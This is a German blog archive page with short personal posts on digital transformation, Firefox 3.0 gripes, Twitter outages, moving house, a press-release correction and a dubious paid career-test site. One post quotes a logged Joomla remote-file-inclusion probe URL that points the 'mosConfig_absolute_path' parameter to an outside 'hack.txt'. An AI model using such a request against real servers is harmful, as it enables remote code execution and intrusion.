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Seit Jahren kämpft die deutsche Wirtschaft mit dem digitalen Wandel. Eigentlich sollte die Erkenntnis, dass die Digitale Transformation für Unternehmen aus allen Branchen große Chancen bietet, doch schon längst bei Geschäftsführern und Vorständen angekommen sein. Wie eine Befragung durch den Digitalverband Bitkom bestätigt, beklagen praktisch alle Unternehmen mehr oder weniger große Probleme bei digitalen Transformation. Weiterlesen

Mal ein ganz uneigennütziges Beispiel: Rechner angeschaltet. Fünf Minuten zum Hochfahren des Betriebssystems abgewartet. Anmeldemaske erhofft. Eines Besseren belehrt. Benutzername und Passwort eingegebene. Eingaben bestätigt. In der Zwischenzeit einen Kaffee gezogen. Zurückgekehrt und weiter gewartet. Browser gestartet. Outlook aktiviert. Feedreader geöffnet. Dabei eine Pressemappe durchstöbert. Arbeitsrechner hoffnungslos überlastet. Mails auf meinem Nokia N97 gelesen. Keine Rücksichtsname von den aktivierten Programmen erwartet. Browser am Start. Outlook zieht nach. Feedreader ist der Letzte im Bunde. Man begrüßt den kühlen Morgen in Köln Ehrenfeld.

Alles in allem verbringt man mit dieser technischen Unzulänglichkeit gut zwanzig Minuten, nur um sich für die digitale Arbeit bereit zu machen. Selbstverständlich schafft man in dieser digitalen Wartezeit auch einige andere Dinge für die PR-Arbeit, die sich mit analogen Schreibmethoden noch erledigen lassen. Und man findet ein kurzes Thema für das Blog. Das ist gut so.

Als hätte man es nicht schon vorher ahnen können… unser liebster Browser in der neuen Version weist eine kritische Sicherheitslücke auf, die bereits in den Vorgängerversionen enthalten war. Firefox 3.0 ist und bleibt ein kleiner Albtraum… auch beim Online-Banking.

Bei einem Anbieter für Online Banking ist mit Firefox 3.0 das „Abmelden“ nicht möglich. Man wird mit nahezu fast jeder Aktion zurück zur Kontoübersicht geleitet. In einem anderen Browser kommt man dank aktiver Session nicht rein. Ich möchte nicht mitteilen, bei welchem Online Banking Anbieter ich die Dienste in Anspruch nehme. Firefox 3.0 ist also mit Vorsicht zu genießen.

Es ist ja schön, dass die Firefox-Community in einer gewaltigen Aktion mit einem Download-Rekort in das Guiness-Buch-der-Rekorde kommen möchte. Das ist natürlich eine coole Aktion, es ist auch wirklich geeky – doch das Erfolgrezept sollte nur dann aufgehen, wenn man ein Download eigenständig per Hand ausführt und nicht hinter vorgehaltener Hand einen automatisierten Prozess einsetzt, der sich als einfaches Update tarnt und fast von selbst je nach Einstellungen aktiviert. Schiebung!

Ich hasse selbstherrliche Software, die sich einfach automatisch in meiner Abwesenheit auf eine neue Version schiebt. Auch wenn alle Welt den Firefox 3.0 in den Himmel preist, mir ist das ziemlich egal. Ich bin stolzer Besitzer eines Internet Explorer 6.0 – nur um immer schön die Abwärtskompatibilität bei gewissen Web-Anwendungen zu überwachen. I like it old-school! Wäre da kein automatisches Update gewesen, hätte sich das Softwarepaket nicht einfach installieren lassen. Sicherlich spielt auch der Faktor mit bei, dass dieser Rechner zu Hause nicht nur von mir selbst genutzt wird. Ein Familien-Rechner halt.

Dennoch: Das fuzzelige Design vom Interface des Firefox 3.0 eckt einfach an jeder Ecke an. Runder geht’s ja kaum noch. Das ähnelt schon fast so mancher Web 2.0 Seite. Auch ist die URL-Aktualisierung beim Eintippen in der Adresszeile absolut nervig. Menschenskind. Da helfen wirklich nur die Tipps beim Lifehacker, damit man dieses dumme Getue von Firefox 3.0 abstellen kann.

Also hilft wohl nichts, als auf die sicherheitsfanatischen Verrückheiten mancher Zeitgenossen zu verzichten und sich einfach mit alter Software zu begnügen. Ich mochte den Firefox 2.0 – das war so schön hübsch-hässlich, wie man es erwartet. Der Browser in der 3. Generation gleicht ja fast dem Internetexplodierer… naja, wer’s mag. Vielleicht nehme ich mir doch in Kürze Opera als Standardbrowser – ist laut meiner Frau zumindest die bessere Alternative im Web. :)

Macht was. Das nervt. Twitter ist unglaublich lahm geworden. Dezentralisierung der Architektur, Öffnung für zusätzliche Angebote, und ein paar neue Server vielleicht? Lösungsansätze zur Abhilfe gegen das Twitter Problem gibt es ja genügend.

Fight The Whale! Das ist doch kein Web 2.0 Zustand von Twitter mehr… ätzend.

Anstrengend. Mühsam. Umzugsunternehmen hat falschparkende Kfz nicht abschleppen wollen. Küchenbauer ist nicht erschienen. Stunden des BHW-Prinzips mit Bangen, Hoffen, Warten. Heute sind andere Küchenbauer dabei die Küche aufzubauen. Immerhin ein positiver Lichtblick im Dunkel des Umzugs.

Fünf Tage offline. Bis zum 29. Mai kein Internet und Telefon zu Hause. Irgendwie stellt man fest, dass man rein privat gesehen ganz gut auf das Internet verzichten kann. Nur die Handynutzung ist manchmal sehr teuer, wenn die ewigen Telefonate geführt werden müssen.

Ich nutze hier im Blog definitiv WordPress, aber zahlreiche Anfragen werden auf nicht-existente URLs gemacht, die wohl irgendwie eine Hintertür beim Joomla CMS öffnen sollen. Hier ein Beispiel:

/////////////?mosConfig_absolute_path=http://sonstwo.server.com/hack.txt

Scheinbar ist die mosConfig_absolute_path im Joomla CMS oder in veralteten Versionen absolut anfällig für zwischenmenschliche Schandtaten… naja, das wollte ich auch nur mal so mitteilen.

Vertippt! Verschrieben! Kurzum – alles ist falsch, die Aussage ist nicht richtig. Schon doof, wenn sowas über ots verbreitet wird und dann wenige Minuten später nachgebessert werden muss.

Korrektur: vierter Absatz, statt Millionen Milliarden / Vodafone Deutschland gewinnt im Weihnachtsgeschäft 1,379 Millionen neue Kunden hinzu

Natürlich wurde in der zuerst versendeten Pressemitteilung der Fehler nachträglich ausgebessert. Ein einfaches Prozedere, doch über die Zustellung via E-Mail habe ich noch die Millionenzahl gesehen.

Angeregt durch diesen Beitrag beim Lawblog kam ich auf die Idee, mir die dort thematisierte Webseite anzuschauen. Ich bezweifle beim Lesen der hier zitierten Zeilen, dass die Datenerfassung und ein daraus resultierendes Vertragswerk in der Praxis überhaupt durchführbar ist. Insbesondere wenn verschiedene Menschen einen Internetanschluss nutzen, bringt eine Erfassung und damit dargestellte Proklamation der möglichen Folgen ohne konkrete Zustimmung zu dem damit implizierten Verkauf einer Dienstleistung rein gar nichts.

Um Missbrauch und wissentliche Falscheingaben zu vermeiden, wird Ihre IP-Adresse xxx.xxx.xxx.xxx bei der Teilnahme gespeichert. Anhand dieser Adresse sind Sie über Ihren Provider: xxx.xxx.xxx.xxx.xxxyyyzzz.de identifizierbar. Durch Betätigung des Button „Test starten“ beauftrage ich be***e-te***n.de, für mich den Berufs-Wahl -Test bereitzustellen sowie eine Auswertung & Analyse zu erstellen sowie für das be***e-te***n.de-Gewinnspiel zu registrieren. be***e-te***n.de wertet Ihren Test in Echtzeit aus und stellt Ihnen Daten und Fakten rund um das Thema Berufs-Wahl zur Verfügung. Der einmalige Preis für die Teilnahme beträgt 59 Euro inkl. gesetzlicher Mehrwertsteuer.

Na, zum Glück habe ich den Knopf nicht gedrückt und möchte auch niemanden dazu animieren unüberlegt zu handeln. Was aber macht man nur mit Büchereien oder Internet-Cafés, wenn man wahllos im Internet Formulare abschickt und diese zurück auf einen Internetanschluss geführt werden? Werden diese öffentlichen Einrichtungen und kleinen wirtschaftlichen Einheiten damit in den Ruin getrieben, wenn Heerscharen von unbekannten Nutzern im Internet-Café ein solches Formular mit unglaublich vielen (Falsch-)Angaben einfach absenden? Irgendwie tut mir z.B. Google ein wenig leid, wenn die hauseigenen Robots über digitale Formulare crawlen und schlimmstenfalls das entsprechende Formular durch das einfache Verfolgen eines Links oder einer Form-Action insgeheim „indiziert“ absenden. :)